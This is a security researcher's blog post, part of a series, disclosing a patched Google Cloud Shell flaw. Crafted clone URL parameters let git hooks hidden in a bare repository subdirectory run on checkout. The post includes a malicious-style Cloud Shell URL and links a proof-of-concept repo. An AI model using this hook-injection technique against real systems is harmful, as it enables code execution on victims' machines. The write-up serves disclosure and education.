Quick navigation
- Introduction
- Bug #1 – The Python language server
- Bug #2 – A custom Cloud Shell image
- Bug #3 – Git clone (this page)
- Bug #4 – Go and get pwned
Note: The vulnerabilities that are discussed in this series of posts and in LiveOverflow‘s video were patched quickly and properly by Google (a long time ago). We support responsible disclosure.
Bug #3 – Git clone
Introduction
In #Bug 1 of this series of articles we discussed the possibility of appending the ‘cloudshell_git_repo’ GET-repo to the Cloud Shell URL in order to clone a Github or Bitbucket repository. Aside from this parameter we can also specify a ‘cloudshell_git_branch’ and ‘cloudshell_working_dir’ parameter to aid in the cloning process.
How does this work? When we pass these 3 parameters listed above to the Cloud Shell URL, the cloudshell_open bash function is called inside your terminal window. This function is defined in ‘/google/devshell/bashrc.google.d/cloudshell_open.sh’. I have listed the functionality of the most important lines of code below.
function cloudshell_open {
...
git clone -- "$cloudshell_git_repo" "$target_directory"
cd "$cloudshell_working_dir"
git checkout "$cloudshell_git_branch"
...
}
We see that ‘git clone’ is executed against our URL specified in the cloudshell_git_repo GET-parameter. Then the script changes the working directory by cd-ing into any directory specified in cloudshell_working_dir. Then it calls ‘git checkout’ on the specified git branch. Considering the fact that all input parameters are properly filtered, this might seem harmless at first
Git-hooks
Git-hooks are custom scripts that are fired when an important action is executed. The git-hooks that are created by default when you run ‘git init’ are stored in .git/hooks and might look something similar to this.

Wouldn’t it be cool if we can store these custom scripts inside a evil repository and have them executed when a victim’s Cloud Shell execute ‘git checkout’? According to the Git manual that’s not possible. These hooks are client-side hooks. Anything that is hidden inside .git/ is ignored and thus not copied to the remote repo.
Bare repositories
The standard way of creating a repository is with ‘git init’. This creates a working repository with the well know layout. It contains a .git/ directory where all revision history and metadata is stored and it contains the checked out version of the files you are working on.
There is another format in which a repository can be stored however. It is called a bare repository. This type of repository is normally used for sharing and has a sort of flat layout. It can be created by running the ‘git init –bare’ command.
The exploit
In the screenshot you can clearly see that we have just created a git repo without the ‘.git’ directory but WITH a ‘hooks’ directory! This means we can push the hooks stored in this bare repository to a remote repo, if we hide them in a ‘normal’ repositories subdirectory. Remember the ‘cd’ command in the cloudshell_function? We can jump into any subdirectory we want and execute ‘git checkout’, after which hooks that are present get fired.
I published a proof of concept for this bug for you to look at in https://github.com/offensi/git-poc. Running a git clone and a checkout on this repository as specified in the README will execute a harmless post-checkout hook.
A evil URL to target a Cloud Shell victim would look like this: https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/git-poc&cloudshell_git_branch=master&cloudshell_working_dir=evilgitdirectory. Successful exploitation can be seen in the screenshot below.

Continue reading: Bug #4 – Go get pwned
Follow wtm